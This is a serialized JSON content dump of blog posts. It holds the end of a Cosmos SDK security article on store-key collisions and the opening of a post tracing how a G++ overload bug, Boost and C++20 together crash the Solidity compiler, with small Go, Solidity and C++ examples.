other.",{"type":24,"tag":33,"props":92489,"children":92490},{},[92491],{"type":24,"tag":37,"props":92492,"children":92495},{"href":92493,"rel":92494},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[41],[92496],{"type":30,"value":79818},{"type":24,"tag":920,"props":92498,"children":92500},{"code":92499,"language":79244,"meta":7,"className":79245,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[92501],{"type":24,"tag":156,"props":92502,"children":92503},{"__ignoreMap":7},[92504,92566,92614,92650,92690,92697,92704,92716],{"type":24,"tag":930,"props":92505,"children":92506},{"class":932,"line":933},[92507,92511,92516,92520,92525,92529,92533,92537,92541,92545,92549,92553,92557,92562],{"type":24,"tag":930,"props":92508,"children":92509},{"style":937},[92510],{"type":30,"value":79380},{"type":24,"tag":930,"props":92512,"children":92513},{"style":1002},[92514],{"type":30,"value":92515}," NewKVStoreKeys",{"type":24,"tag":930,"props":92517,"children":92518},{"style":959},[92519],{"type":30,"value":1010},{"type":24,"tag":930,"props":92521,"children":92522},{"style":1023},[92523],{"type":30,"value":92524},"names",{"type":24,"tag":930,"props":92526,"children":92527},{"style":1158},[92528],{"type":30,"value":28391},{"type":24,"tag":930,"props":92530,"children":92531},{"style":943},[92532],{"type":30,"value":32757},{"type":24,"tag":930,"props":92534,"children":92535},{"style":959},[92536],{"type":30,"value":5579},{"type":24,"tag":930,"props":92538,"children":92539},{"style":937},[92540],{"type":30,"value":70187},{"type":24,"tag":930,"props":92542,"children":92543},{"style":959},[92544],{"type":30,"value":6849},{"type":24,"tag":930,"props":92546,"children":92547},{"style":943},[92548],{"type":30,"value":32757},{"type":24,"tag":930,"props":92550,"children":92551},{"style":959},[92552],{"type":30,"value":18514},{"type":24,"tag":930,"props":92554,"children":92555},{"style":1158},[92556],{"type":30,"value":1410},{"type":24,"tag":930,"props":92558,"children":92559},{"style":943},[92560],{"type":30,"value":92561},"KVStoreKey",{"type":24,"tag":930,"props":92563,"children":92564},{"style":959},[92565],{"type":30,"value":981},{"type":24,"tag":930,"props":92567,"children":92568},{"class":932,"line":984},[92569,92574,92578,92582,92586,92590,92594,92598,92602,92606,92610],{"type":24,"tag":930,"props":92570,"children":92571},{"style":1023},[92572],{"type":30,"value":92573},"    keys",{"type":24,"tag":930,"props":92575,"children":92576},{"style":1158},[92577],{"type":30,"value":79495},{"type":24,"tag":930,"props":92579,"children":92580},{"style":1002},[92581],{"type":30,"value":88634},{"type":24,"tag":930,"props":92583,"children":92584},{"style":959},[92585],{"type":30,"value":1010},{"type":24,"tag":930,"props":92587,"children":92588},{"style":937},[92589],{"type":30,"value":70187},{"type":24,"tag":930,"props":92591,"children":92592},{"style":959},[92593],{"type":30,"value":6849},{"type":24,"tag":930,"props":92595,"children":92596},{"style":943},[92597],{"type":30,"value":32757},{"type":24,"tag":930,"props":92599,"children":92600},{"style":959},[92601],{"type":30,"value":18514},{"type":24,"tag":930,"props":92603,"children":92604},{"style":1158},[92605],{"type":30,"value":1410},{"type":24,"tag":930,"props":92607,"children":92608},{"style":943},[92609],{"type":30,"value":92561},{"type":24,"tag":930,"props":92611,"children":92612},{"style":959},[92613],{"type":30,"value":1054},{"type":24,"tag":930,"props":92615,"children":92616},{"class":932,"line":993},[92617,92621,92625,92629,92633,92637,92641,92646],{"type":24,"tag":930,"props":92618,"children":92619},{"style":1079},[92620],{"type":30,"value":6154},{"type":24,"tag":930,"props":92622,"children":92623},{"style":1023},[92624],{"type":30,"value":6159},{"type":24,"tag":930,"props":92626,"children":92627},{"style":959},[92628],{"type":30,"value":962},{"type":24,"tag":930,"props":92630,"children":92631},{"style":1023},[92632],{"type":30,"value":51587},{"type":24,"tag":930,"props":92634,"children":92635},{"style":1158},[92636],{"type":30,"value":79495},{"type":24,"tag":930,"props":92638,"children":92639},{"style":1079},[92640],{"type":30,"value":80478},{"type":24,"tag":930,"props":92642,"children":92643},{"style":1023},[92644],{"type":30,"value":92645}," names",{"type":24,"tag":930,"props":92647,"children":92648},{"style":959},[92649],{"type":30,"value":981},{"type":24,"tag":930,"props":92651,"children":92652},{"class":932,"line":1057},[92653,92657,92661,92665,92669,92673,92678,92682,92686],{"type":24,"tag":930,"props":92654,"children":92655},{"style":1023},[92656],{"type":30,"value":28423},{"type":24,"tag":930,"props":92658,"children":92659},{"style":959},[92660],{"type":30,"value":6849},{"type":24,"tag":930,"props":92662,"children":92663},{"style":1023},[92664],{"type":30,"value":51587},{"type":24,"tag":930,"props":92666,"children":92667},{"style":959},[92668],{"type":30,"value":11770},{"type":24,"tag":930,"props":92670,"children":92671},{"style":1158},[92672],{"type":30,"value":1161},{"type":24,"tag":930,"props":92674,"children":92675},{"style":1002},[92676],{"type":30,"value":92677}," NewKVStoreKey",{"type":24,"tag":930,"props":92679,"children":92680},{"style":959},[92681],{"type":30,"value":1010},{"type":24,"tag":930,"props":92683,"children":92684},{"style":1023},[92685],{"type":30,"value":51587},{"type":24,"tag":930,"props":92687,"children":92688},{"style":959},[92689],{"type":30,"value":1054},{"type":24,"tag":930,"props":92691,"children":92692},{"class":932,"line":1066},[92693],{"type":24,"tag":930,"props":92694,"children":92695},{"style":959},[92696],{"type":30,"value":1840},{"type":24,"tag":930,"props":92698,"children":92699},{"class":932,"line":1075},[92700],{"type":24,"tag":930,"props":92701,"children":92702},{"emptyLinePlaceholder":16},[92703],{"type":30,"value":2412},{"type":24,"tag":930,"props":92705,"children":92706},{"class":932,"line":1122},[92707,92711],{"type":24,"tag":930,"props":92708,"children":92709},{"style":1079},[92710],{"type":30,"value":20090},{"type":24,"tag":930,"props":92712,"children":92713},{"style":1023},[92714],{"type":30,"value":92715}," keys\n",{"type":24,"tag":930,"props":92717,"children":92718},{"class":932,"line":1131},[92719],{"type":24,"tag":930,"props":92720,"children":92721},{"style":959},[92722],{"type":30,"value":2528},{"type":24,"tag":33,"props":92724,"children":92725},{},[92726,92728,92733,92735,92740,92742,92747],{"type":30,"value":92727},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":24,"tag":156,"props":92729,"children":92731},{"className":92730},[],[92732],{"type":30,"value":81541},{"type":30,"value":92734}," will refuse to run if any ",{"type":24,"tag":156,"props":92736,"children":92738},{"className":92737},[],[92739],{"type":30,"value":88047},{"type":30,"value":92741}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":24,"tag":156,"props":92743,"children":92745},{"className":92744},[],[92746],{"type":30,"value":88047},{"type":30,"value":92748}," level.",{"type":24,"tag":33,"props":92750,"children":92751},{},[92752,92754,92761],{"type":30,"value":92753},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":24,"tag":37,"props":92755,"children":92758},{"href":92756,"rel":92757},"https://github.com/cosmos/cosmos-sdk/issues/12661",[41],[92759],{"type":30,"value":92760},"incorrect iterator behavior",{"type":30,"value":436},{"type":24,"tag":33,"props":92763,"children":92764},{},[92765,92767,92774],{"type":30,"value":92766},"Notably, gradual adoption of the ",{"type":24,"tag":37,"props":92768,"children":92771},{"href":92769,"rel":92770},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[41],[92772],{"type":30,"value":92773},"collections",{"type":30,"value":92775}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":24,"tag":68,"props":92777,"children":92778},{"id":5876},[92779],{"type":30,"value":5879},{"type":24,"tag":33,"props":92781,"children":92782},{},[92783],{"type":30,"value":92784},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":24,"tag":33,"props":92786,"children":92787},{},[92788],{"type":30,"value":92789},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":24,"tag":5957,"props":92791,"children":92792},{},[92793],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":92795},[92796,92797,92800,92803,92806,92809,92812,92815],{"id":27,"depth":984,"text":31},{"id":78963,"depth":984,"text":78966,"children":92798},[92799],{"id":79765,"depth":993,"text":79768},{"id":80361,"depth":984,"text":80364,"children":92801},[92802],{"id":81010,"depth":993,"text":79768},{"id":81507,"depth":984,"text":81510,"children":92804},[92805],{"id":82806,"depth":993,"text":79768},{"id":84143,"depth":984,"text":84146,"children":92807},[92808],{"id":84681,"depth":993,"text":79768},{"id":86200,"depth":984,"text":86203,"children":92810},[92811],{"id":87079,"depth":993,"text":79768},{"id":88033,"depth":984,"text":88036,"children":92813},[92814],{"id":92457,"depth":993,"text":79768},{"id":5876,"depth":984,"text":5879},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":92820,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":92821,"description":92822,"author":92823,"image":92824,"date":92826,"tags":92827,"isFeatured":16,"onBlogPage":16,"body":92828,"_type":5983,"_id":95534,"_source":5985,"_file":95535,"_stem":95536,"_extension":5988},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":92825,"height":15,"width":15},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[924,32103],{"type":21,"children":92829,"toc":95518},[92830,92835,92970,92975,92980,92985,92990,93102,93107,93112,93117,93157,93170,93175,93193,93198,93201,93207,93221,93234,93239,93252,93257,93269,93282,93287,93290,93296,93302,93359,93364,93370,93384,93419,93427,93435,93455,93461,93466,93906,93914,93958,93963,93971,93979,94018,94023,94031,94036,94039,94045,94051,94076,94088,94115,94148,94153,94156,94162,94181,94699,94712,94730,94753,94764,94769,94872,94877,94882,94896,94901,94977,94995,95000,95003,95009,95021,95033,95373,95378,95396,95401,95404,95410,95415,95433,95453,95456,95462,95481,95484,95488,95493,95504,95509,95514],{"type":24,"tag":33,"props":92831,"children":92832},{},[92833],{"type":30,"value":92834},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":24,"tag":920,"props":92836,"children":92838},{"code":92837,"language":924,"meta":7,"className":922,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[92839],{"type":24,"tag":156,"props":92840,"children":92841},{"__ignoreMap":7},[92842,92850,92868,92875,92891,92932,92956,92963],{"type":24,"tag":930,"props":92843,"children":92844},{"class":932,"line":933},[92845],{"type":24,"tag":930,"props":92846,"children":92847},{"style":1422},[92848],{"type":30,"value":92849},"// SPDX-License-Identifier: UNLICENSED\n",{"type":24,"tag":930,"props":92851,"children":92852},{"class":932,"line":984},[92853,92858,92863],{"type":24,"tag":930,"props":92854,"children":92855},{"style":1079},[92856],{"type":30,"value":92857},"pragma",{"type":24,"tag":930,"props":92859,"children":92860},{"style":937},[92861],{"type":30,"value":92862}," solidity",{"type":24,"tag":930,"props":92864,"children":92865},{"style":959},[92866],{"type":30,"value":92867}," ^0.8.25;\n",{"type":24,"tag":930,"props":92869,"children":92870},{"class":932,"line":993},[92871],{"type":24,"tag":930,"props":92872,"children":92873},{"emptyLinePlaceholder":16},[92874],{"type":30,"value":2412},{"type":24,"tag":930,"props":92876,"children":92877},{"class":932,"line":1057},[92878,92882,92887],{"type":24,"tag":930,"props":92879,"children":92880},{"style":937},[92881],{"type":30,"value":940},{"type":24,"tag":930,"props":92883,"children":92884},{"style":943},[92885],{"type":30,"value":92886}," A",{"type":24,"tag":930,"props":92888,"children":92889},{"style":959},[92890],{"type":30,"value":981},{"type":24,"tag":930,"props":92892,"children":92893},{"class":932,"line":1066},[92894,92898,92903,92907,92911,92916,92920,92924,92928],{"type":24,"tag":930,"props":92895,"children":92896},{"style":937},[92897],{"type":30,"value":999},{"type":24,"tag":930,"props":92899,"children":92900},{"style":1002},[92901],{"type":30,"value":92902}," a",{"type":24,"tag":930,"props":92904,"children":92905},{"style":959},[92906],{"type":30,"value":3446},{"type":24,"tag":930,"props":92908,"children":92909},{"style":937},[92910],{"type":30,"value":64762},{"type":24,"tag":930,"props":92912,"children":92913},{"style":937},[92914],{"type":30,"value":92915}," pure",{"type":24,"tag":930,"props":92917,"children":92918},{"style":1079},[92919],{"type":30,"value":3900},{"type":24,"tag":930,"props":92921,"children":92922},{"style":959},[92923],{"type":30,"value":1087},{"type":24,"tag":930,"props":92925,"children":92926},{"style":943},[92927],{"type":30,"value":1044},{"type":24,"tag":930,"props":92929,"children":92930},{"style":959},[92931],{"type":30,"value":1503},{"type":24,"tag":930,"props":92933,"children":92934},{"class":932,"line":1075},[92935,92939,92943,92948,92952],{"type":24,"tag":930,"props":92936,"children":92937},{"style":1079},[92938],{"type":30,"value":18847},{"type":24,"tag":930,"props":92940,"children":92941},{"style":1242},[92942],{"type":30,"value":7637},{"type":24,"tag":930,"props":92944,"children":92945},{"style":1158},[92946],{"type":30,"value":92947}," **",{"type":24,"tag":930,"props":92949,"children":92950},{"style":1242},[92951],{"type":30,"value":11044},{"type":24,"tag":930,"props":92953,"children":92954},{"style":959},[92955],{"type":30,"value":5539},{"type":24,"tag":930,"props":92957,"children":92958},{"class":932,"line":1122},[92959],{"type":24,"tag":930,"props":92960,"children":92961},{"style":959},[92962],{"type":30,"value":1840},{"type":24,"tag":930,"props":92964,"children":92965},{"class":932,"line":1131},[92966],{"type":24,"tag":930,"props":92967,"children":92968},{"style":959},[92969],{"type":30,"value":2528},{"type":24,"tag":33,"props":92971,"children":92972},{},[92973],{"type":30,"value":92974},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":24,"tag":33,"props":92976,"children":92977},{},[92978],{"type":30,"value":92979},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":24,"tag":33,"props":92981,"children":92982},{},[92983],{"type":30,"value":92984},"And yet, it crashes.",{"type":24,"tag":33,"props":92986,"children":92987},{},[92988],{"type":30,"value":92989},"Another minimal example?",{"type":24,"tag":920,"props":92991,"children":92993},{"code":92992,"language":924,"meta":7,"className":922,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[92994],{"type":24,"tag":156,"props":92995,"children":92996},{"__ignoreMap":7},[92997,93004,93019,93026,93041,93068,93088,93095],{"type":24,"tag":930,"props":92998,"children":92999},{"class":932,"line":933},[93000],{"type":24,"tag":930,"props":93001,"children":93002},{"style":1422},[93003],{"type":30,"value":92849},{"type":24,"tag":930,"props":93005,"children":93006},{"class":932,"line":984},[93007,93011,93015],{"type":24,"tag":930,"props":93008,"children":93009},{"style":1079},[93010],{"type":30,"value":92857},{"type":24,"tag":930,"props":93012,"children":93013},{"style":937},[93014],{"type":30,"value":92862},{"type":24,"tag":930,"props":93016,"children":93017},{"style":959},[93018],{"type":30,"value":92867},{"type":24,"tag":930,"props":93020,"children":93021},{"class":932,"line":993},[93022],{"type":24,"tag":930,"props":93023,"children":93024},{"emptyLinePlaceholder":16},[93025],{"type":30,"value":2412},{"type":24,"tag":930,"props":93027,"children":93028},{"class":932,"line":1057},[93029,93033,93037],{"type":24,"tag":930,"props":93030,"children":93031},{"style":937},[93032],{"type":30,"value":940},{"type":24,"tag":930,"props":93034,"children":93035},{"style":943},[93036],{"type":30,"value":92886},{"type":24,"tag":930,"props":93038,"children":93039},{"style":959},[93040],{"type":30,"value":981},{"type":24,"tag":930,"props":93042,"children":93043},{"class":932,"line":1066},[93044,93048,93052,93056,93060,93064],{"type":24,"tag":930,"props":93045,"children":93046},{"style":937},[93047],{"type":30,"value":999},{"type":24,"tag":930,"props":93049,"children":93050},{"style":1002},[93051],{"type":30,"value":92902},{"type":24,"tag":930,"props":93053,"children":93054},{"style":959},[93055],{"type":30,"value":3446},{"type":24,"tag":930,"props":93057,"children":93058},{"style":937},[93059],{"type":30,"value":64762},{"type":24,"tag":930,"props":93061,"children":93062},{"style":937},[93063],{"type":30,"value":92915},{"type":24,"tag":930,"props":93065,"children":93066},{"style":959},[93067],{"type":30,"value":981},{"type":24,"tag":930,"props":93069,"children":93070},{"class":932,"line":1075},[93071,93075,93079,93083],{"type":24,"tag":930,"props":93072,"children":93073},{"style":943},[93074],{"type":30,"value":2822},{"type":24,"tag":930,"props":93076,"children":93077},{"style":959},[93078],{"type":30,"value":6849},{"type":24,"tag":930,"props":93080,"children":93081},{"style":1242},[93082],{"type":30,"value":7129},{"type":24,"tag":930,"props":93084,"children":93085},{"style":959},[93086],{"type":30,"value":93087},"] data;\n",{"type":24,"tag":930,"props":93089,"children":93090},{"class":932,"line":1122},[93091],{"type":24,"tag":930,"props":93092,"children":93093},{"style":959},[93094],{"type":30,"value":1840},{"type":24,"tag":930,"props":93096,"children":93097},{"class":932,"line":1131},[93098],{"type":24,"tag":930,"props":93099,"children":93100},{"style":959},[93101],{"type":30,"value":2528},{"type":24,"tag":33,"props":93103,"children":93104},{},[93105],{"type":30,"value":93106},"Still crashes.",{"type":24,"tag":33,"props":93108,"children":93109},{},[93110],{"type":30,"value":93111},"So what’s going on?",{"type":24,"tag":33,"props":93113,"children":93114},{},[93115],{"type":30,"value":93116},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":24,"tag":920,"props":93118,"children":93120},{"code":93119,"language":32203,"meta":7,"className":32201,"style":7},"if (*lengthValue == 0) { ... }\n",[93121],{"type":24,"tag":156,"props":93122,"children":93123},{"__ignoreMap":7},[93124],{"type":24,"tag":930,"props":93125,"children":93126},{"class":932,"line":933},[93127,93131,93135,93139,93144,93148,93152],{"type":24,"tag":930,"props":93128,"children":93129},{"style":1079},[93130],{"type":30,"value":18683},{"type":24,"tag":930,"props":93132,"children":93133},{"style":959},[93134],{"type":30,"value":1087},{"type":24,"tag":930,"props":93136,"children":93137},{"style":1158},[93138],{"type":30,"value":1410},{"type":24,"tag":930,"props":93140,"children":93141},{"style":959},[93142],{"type":30,"value":93143},"lengthValue ",{"type":24,"tag":930,"props":93145,"children":93146},{"style":1158},[93147],{"type":30,"value":1239},{"type":24,"tag":930,"props":93149,"children":93150},{"style":1242},[93151],{"type":30,"value":1245},{"type":24,"tag":930,"props":93153,"children":93154},{"style":959},[93155],{"type":30,"value":93156},") { ... }\n",{"type":24,"tag":33,"props":93158,"children":93159},{},[93160,93162,93168],{"type":30,"value":93161},"That single comparison — a ",{"type":24,"tag":156,"props":93163,"children":93165},{"className":93164},[],[93166],{"type":30,"value":93167},"boost::rational",{"type":30,"value":93169}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":24,"tag":33,"props":93171,"children":93172},{},[93173],{"type":30,"value":93174},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":24,"tag":96,"props":93176,"children":93177},{},[93178,93183,93188],{"type":24,"tag":100,"props":93179,"children":93180},{},[93181],{"type":30,"value":93182},"A 12-year-old overload resolution bug in G++",{"type":24,"tag":100,"props":93184,"children":93185},{},[93186],{"type":30,"value":93187},"An outdated symmetric comparison pattern in Boost",{"type":24,"tag":100,"props":93189,"children":93190},{},[93191],{"type":30,"value":93192},"A subtle but impactful rewrite rule in C++20",{"type":24,"tag":33,"props":93194,"children":93195},{},[93196],{"type":30,"value":93197},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":24,"tag":21895,"props":93199,"children":93200},{},[],{"type":24,"tag":68,"props":93202,"children":93204},{"id":93203},"background-the-setup",[93205],{"type":30,"value":93206},"Background: The Setup",{"type":24,"tag":33,"props":93208,"children":93209},{},[93210,93212,93219],{"type":30,"value":93211},"If you follow the ",{"type":24,"tag":37,"props":93213,"children":93216},{"href":93214,"rel":93215},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[41],[93217],{"type":30,"value":93218},"Solidity build documentation (v0.8.30)",{"type":30,"value":93220},", you'll see it recommends:",{"type":24,"tag":96,"props":93222,"children":93223},{},[93224,93229],{"type":24,"tag":100,"props":93225,"children":93226},{},[93227],{"type":30,"value":93228},"Boost ≥ 1.67",{"type":24,"tag":100,"props":93230,"children":93231},{},[93232],{"type":30,"value":93233},"GCC ≥ 11",{"type":24,"tag":33,"props":93235,"children":93236},{},[93237],{"type":30,"value":93238},"Ubuntu 22.04, for example, ships with:",{"type":24,"tag":96,"props":93240,"children":93241},{},[93242,93247],{"type":24,"tag":100,"props":93243,"children":93244},{},[93245],{"type":30,"value":93246},"G++ 11.4.0",{"type":24,"tag":100,"props":93248,"children":93249},{},[93250],{"type":30,"value":93251},"Boost 1.74.0",{"type":24,"tag":33,"props":93253,"children":93254},{},[93255],{"type":30,"value":93256},"So far, so good.",{"type":24,"tag":33,"props":93258,"children":93259},{},[93260,93262,93267],{"type":30,"value":93261},"However, Solidity enabled ",{"type":24,"tag":275,"props":93263,"children":93264},{},[93265],{"type":30,"value":93266},"C++20",{"type":30,"value":93268}," in January 2025:",{"type":24,"tag":6054,"props":93270,"children":93271},{},[93272],{"type":24,"tag":33,"props":93273,"children":93274},{},[93275],{"type":24,"tag":37,"props":93276,"children":93279},{"href":93277,"rel":93278},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[41],[93280],{"type":30,"value":93281},"Enable C++20 in Solidity",{"type":24,"tag":33,"props":93283,"children":93284},{},[93285],{"type":30,"value":93286},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":24,"tag":21895,"props":93288,"children":93289},{},[],{"type":24,"tag":68,"props":93291,"children":93293},{"id":93292},"part-i-a-12-year-old-g-bug-in-overload-resolution",[93294],{"type":30,"value":93295},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":24,"tag":151,"props":93297,"children":93299},{"id":93298},"whats-overload-resolution",[93300],{"type":30,"value":93301},"What’s Overload Resolution?",{"type":24,"tag":33,"props":93303,"children":93304},{},[93305,93307,93313,93315,93321,93323,93328,93330,93335,93337,93343,93345,93350,93351,93357],{"type":30,"value":93306},"In C++, when you write an expression like ",{"type":24,"tag":156,"props":93308,"children":93310},{"className":93309},[],[93311],{"type":30,"value":93312},"a == b",{"type":30,"value":93314},", the compiler chooses among available ",{"type":24,"tag":156,"props":93316,"children":93318},{"className":93317},[],[93319],{"type":30,"value":93320},"operator==",{"type":30,"value":93322}," implementations by comparing their ",{"type":24,"tag":275,"props":93324,"children":93325},{},[93326],{"type":30,"value":93327},"match quality",{"type":30,"value":93329},". A ",{"type":24,"tag":275,"props":93331,"children":93332},{},[93333],{"type":30,"value":93334},"member function",{"type":30,"value":93336}," like ",{"type":24,"tag":156,"props":93338,"children":93340},{"className":93339},[],[93341],{"type":30,"value":93342},"a.operator==(b)",{"type":30,"value":93344}," usually has higher priority than a ",{"type":24,"tag":275,"props":93346,"children":93347},{},[93348],{"type":30,"value":93349},"non-member function",{"type":30,"value":93336},{"type":24,"tag":156,"props":93352,"children":93354},{"className":93353},[],[93355],{"type":30,"value":93356},"operator==(a, b)",{"type":30,"value":93358}," — unless the types differ too much or are ambiguous.",{"type":24,"tag":33,"props":93360,"children":93361},{},[93362],{"type":30,"value":93363},"That’s the rule. But G++ didn’t always follow it.",{"type":24,"tag":151,"props":93365,"children":93367},{"id":93366},"the-bug",[93368],{"type":30,"value":93369},"The Bug",{"type":24,"tag":33,"props":93371,"children":93372},{},[93373,93375,93382],{"type":30,"value":93374},"In 2012, a bug was filed: ",{"type":24,"tag":37,"props":93376,"children":93379},{"href":93377,"rel":93378},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[41],[93380],{"type":30,"value":93381},"GCC Bug 53499 – overload resolution favors non-member function",{"type":30,"value":93383},". The issue? In expressions where:",{"type":24,"tag":96,"props":93385,"children":93386},{},[93387,93407],{"type":24,"tag":100,"props":93388,"children":93389},{},[93390,93392,93398,93400,93405],{"type":30,"value":93391},"A class ",{"type":24,"tag":156,"props":93393,"children":93395},{"className":93394},[],[93396],{"type":30,"value":93397},"rational\u003CT>",{"type":30,"value":93399}," has a templated ",{"type":24,"tag":156,"props":93401,"children":93403},{"className":93402},[],[93404],{"type":30,"value":93320},{"type":30,"value":93406}," member function",{"type":24,"tag":100,"props":93408,"children":93409},{},[93410,93412,93418],{"type":30,"value":93411},"There's also a more generic free ",{"type":24,"tag":156,"props":93413,"children":93415},{"className":93414},[],[93416],{"type":30,"value":93417},"operator==(rational\u003CT>, U)",{"type":30,"value":41302},{"type":24,"tag":33,"props":93420,"children":93421},{},[93422],{"type":24,"tag":275,"props":93423,"children":93424},{},[93425],{"type":30,"value":93426},"Clang correctly chooses the member function.",{"type":24,"tag":33,"props":93428,"children":93429},{},[93430],{"type":24,"tag":275,"props":93431,"children":93432},{},[93433],{"type":30,"value":93434},"G++ (before v14) chooses the non-member function.",{"type":24,"tag":33,"props":93436,"children":93437},{},[93438,93440,93445,93447,93454],{"type":30,"value":93439},"Why? Because G++ mishandles ",{"type":24,"tag":275,"props":93441,"children":93442},{},[93443],{"type":30,"value":93444},"templated conversion + non-exact match",{"type":30,"value":93446},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":24,"tag":37,"props":93448,"children":93451},{"href":93449,"rel":93450},"https://cplusplus.github.io/CWG/issues/532.html",[41],[93452],{"type":30,"value":93453},"CWG532: Member/nonmember operator template partial ordering",{"type":30,"value":436},{"type":24,"tag":151,"props":93456,"children":93458},{"id":93457},"a-minimal-reproducer",[93459],{"type":30,"value":93460},"A Minimal Reproducer",{"type":24,"tag":33,"props":93462,"children":93463},{},[93464],{"type":30,"value":93465},"Let’s see this in action:",{"type":24,"tag":920,"props":93467,"children":93469},{"code":93468,"language":32203,"meta":7,"className":32201,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[93470],{"type":24,"tag":156,"props":93471,"children":93472},{"__ignoreMap":7},[93473,93486,93493,93518,93534,93542,93566,93611,93639,93654,93661,93668,93675,93711,93780,93805,93820,93827,93834,93850,93875,93899],{"type":24,"tag":930,"props":93474,"children":93475},{"class":932,"line":933},[93476,93481],{"type":24,"tag":930,"props":93477,"children":93478},{"style":1079},[93479],{"type":30,"value":93480},"#include",{"type":24,"tag":930,"props":93482,"children":93483},{"style":1270},[93484],{"type":30,"value":93485}," \u003Ciostream>\n",{"type":24,"tag":930,"props":93487,"children":93488},{"class":932,"line":984},[93489],{"type":24,"tag":930,"props":93490,"children":93491},{"emptyLinePlaceholder":16},[93492],{"type":30,"value":2412},{"type":24,"tag":930,"props":93494,"children":93495},{"class":932,"line":993},[93496,93500,93504,93509,93514],{"type":24,"tag":930,"props":93497,"children":93498},{"style":937},[93499],{"type":30,"value":69302},{"type":24,"tag":930,"props":93501,"children":93502},{"style":959},[93503],{"type":30,"value":11828},{"type":24,"tag":930,"props":93505,"children":93506},{"style":937},[93507],{"type":30,"value":93508},"typename",{"type":24,"tag":930,"props":93510,"children":93511},{"style":943},[93512],{"type":30,"value":93513}," IntType",{"type":24,"tag":930,"props":93515,"children":93516},{"style":959},[93517],{"type":30,"value":9105},{"type":24,"tag":930,"props":93519,"children":93520},{"class":932,"line":1057},[93521,93525,93530],{"type":24,"tag":930,"props":93522,"children":93523},{"style":937},[93524],{"type":30,"value":73495},{"type":24,"tag":930,"props":93526,"children":93527},{"style":943},[93528],{"type":30,"value":93529}," rational",{"type":24,"tag":930,"props":93531,"children":93532},{"style":959},[93533],{"type":30,"value":981},{"type":24,"tag":930,"props":93535,"children":93536},{"class":932,"line":1066},[93537],{"type":24,"tag":930,"props":93538,"children":93539},{"style":937},[93540],{"type":30,"value":93541},"public:\n",{"type":24,"tag":930,"props":93543,"children":93544},{"class":932,"line":1075},[93545,93550,93554,93558,93562],{"type":24,"tag":930,"props":93546,"children":93547},{"style":937},[93548],{"type":30,"value":93549},"    template",{"type":24,"tag":930,"props":93551,"children":93552},{"style":959},[93553],{"type":30,"value":11828},{"type":24,"tag":930,"props":93555,"children":93556},{"style":937},[93557],{"type":30,"value":73495},{"type":24,"tag":930,"props":93559,"children":93560},{"style":943},[93561],{"type":30,"value":9031},{"type":24,"tag":930,"props":93563,"children":93564},{"style":959},[93565],{"type":30,"value":9105},{"type":24,"tag":930,"props":93567,"children":93568},{"class":932,"line":1122},[93569,93573,93578,93583,93587,93591,93595,93599,93603,93607],{"type":24,"tag":930,"props":93570,"children":93571},{"style":937},[93572],{"type":30,"value":49563},{"type":24,"tag":930,"props":93574,"children":93575},{"style":937},[93576],{"type":30,"value":93577}," 